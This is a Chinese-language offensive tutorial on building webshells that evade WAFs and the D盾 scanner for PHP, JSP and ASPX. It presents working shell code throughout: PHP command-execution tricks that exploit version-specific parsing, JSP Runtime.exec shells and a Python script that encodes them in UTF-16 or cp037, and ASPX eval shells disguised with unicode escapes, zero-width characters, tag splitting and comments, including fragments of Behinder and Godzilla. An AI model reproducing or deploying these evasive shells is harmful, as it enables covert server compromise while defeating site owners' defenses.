測試幾種實戰成功過的webshell的免殺方式
傳統的php免殺不用多說了 無非就是各種變形和外部參數獲取,對于一些先進的waf和防火墻來說,不論如何解析最終都會到達命令執行的地方,但是如果語法報錯的話,就可能導致解析失敗了,這里簡單說幾個利用php版本來進行語義出錯的php命令執行方式。
1、利用在高版本php語法不換行來執行命令
= $a=<<< aa assasssasssasssasssasssasssasssasssasssasssassss aa;echo `whoami` ?>
5.2版本報錯,

5.3報錯

5.4版本報錯

7.3.4成功執行命令

2、利用\特殊符號來引起報錯
\echo `whoami`;?>
5.3執行命令失敗

7.3執行命令失敗

5.2成功執行

3、十六進制字符串
在php7中不認為是數字,php5則依舊為數字
經過測試 5.3 和5.5可以成功執行命令,5.2和php7無法執行
$s=substr("aabbccsystem","0x6");
$s(whoami)
?>
7.3 命令執行失敗

5.2 命令執行失敗

5.3 命令執行成功

除此之外,還有很多種利用版本差異性來bypass一些沒有對所有版本進行檢測更新的所謂的"先進waf"。
當然,對于我們可以結合垃圾數據,變形混淆,以及大量特殊字符和注釋的方式來構造更多的payload,畢竟每家的waf規則不同,配置也不同,與一些傳輸層面的bypass進行結合產生的可能性就會非常多樣。
例如:
7.0版本的??特性,如果版本為5.x的話就會報錯,可以結合一些其他的方式吧
$a = $_GET['function'] ?? 'whoami'; $b = $_GET['cmd'] ?? 'whoami'; $a(null.(null.$b));

jsp的免殺
本人對java研究的不是非常深入,因此主要分享的還是平時收集的幾個小tips,如果有沒看過的師傅現在看到了也是極好的,java unicode繞過就不再多言。
0、小小Tips
jsp的后綴可以兼容為jspx的代碼,也兼容jspx的所有特性,如CDATA特性。
jspx的后綴不兼容為jsp的代碼,jspx只能用jspx的格式
1、jspx CDATA特性
在XML元素里,<和&是非法的,遇到<解析器會把該字符解釋為新元素的開始,遇到&解析器會把該字符解釋為字符實體化編碼的開始。但是我們有時候有需要在jspx里添加js代碼用到大量的<和&字符,因此可以將腳本代碼定義為CDATA。
CDATA部分內容會被解析器忽略。
格式:
例如
String cmd = request.getPar("shell");
此時ameter依舊會與getPar拼接成為getParameter
2、實體化編碼
if (cmd !=null){
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
這里實體化編碼先知渲染體現不出來

3、利用java支持其他編碼格式來進行繞過
#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))
f16le = open('utf-16le.jsp','wb')
f16le.write('')
f16le.write(data.encode('utf-16le'))
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')

可以看到對于D盾的免殺效果還是非常好的。

aspx的免殺
aspx免殺的方式相對于PHP和java的較少,這里列出5種方式來bypass進行免殺
1、unicode編碼
2、空字符串連接
3、<%%>截斷
4、頭部替換
5、特殊符號@
6、注釋
我們以一個普通的冰蝎馬作為示例
<%@ Page Language="Jscript"%>eval(@Request.Item["pass"],"unsafe");%
這一步無需多言,一定是會被D盾所查殺的

1、unicode編碼
例如eval他可以變為
\u0065\u0076\u0061\u006c
<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>
經過我本地的測試,在JScript的情況下它不支持大U和多個0的增加
而在c#的情況下,是可以支持的

2、空字符串連接
在函數字符串中插入這些字符都不會影響腳本的正常運行,在測試前需要注意該類字符插入的位置,否則插入錯誤的地方會產生報錯
\u200c
\u200d
\u200e
\u200f
3、使用<%%>語法
將整個字符串與函數利用<%%>進行分割
<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>
4、頭部免殺
之前有遇到過檢測該字段的<%@ Page Language="C#" %>,這個是標識ASPX的一個字段,
針對該字段進行免殺%@Language=CSHARP% 很久之前修改為這樣就過了
同樣的,可以修改為
<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>
也可以將該字段放在后面,不一定要放前面等
5、使用符號
如哥斯拉webshell存在特征代碼,可以添加@符號但是不會影響其解析。
(Context.Session["payload"] == null) (@Context.@Session["payload"] == null)


6、注釋可以隨意插入
如下所示為冰蝎部分代碼
<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
可以與<%%>結合使用效果會更好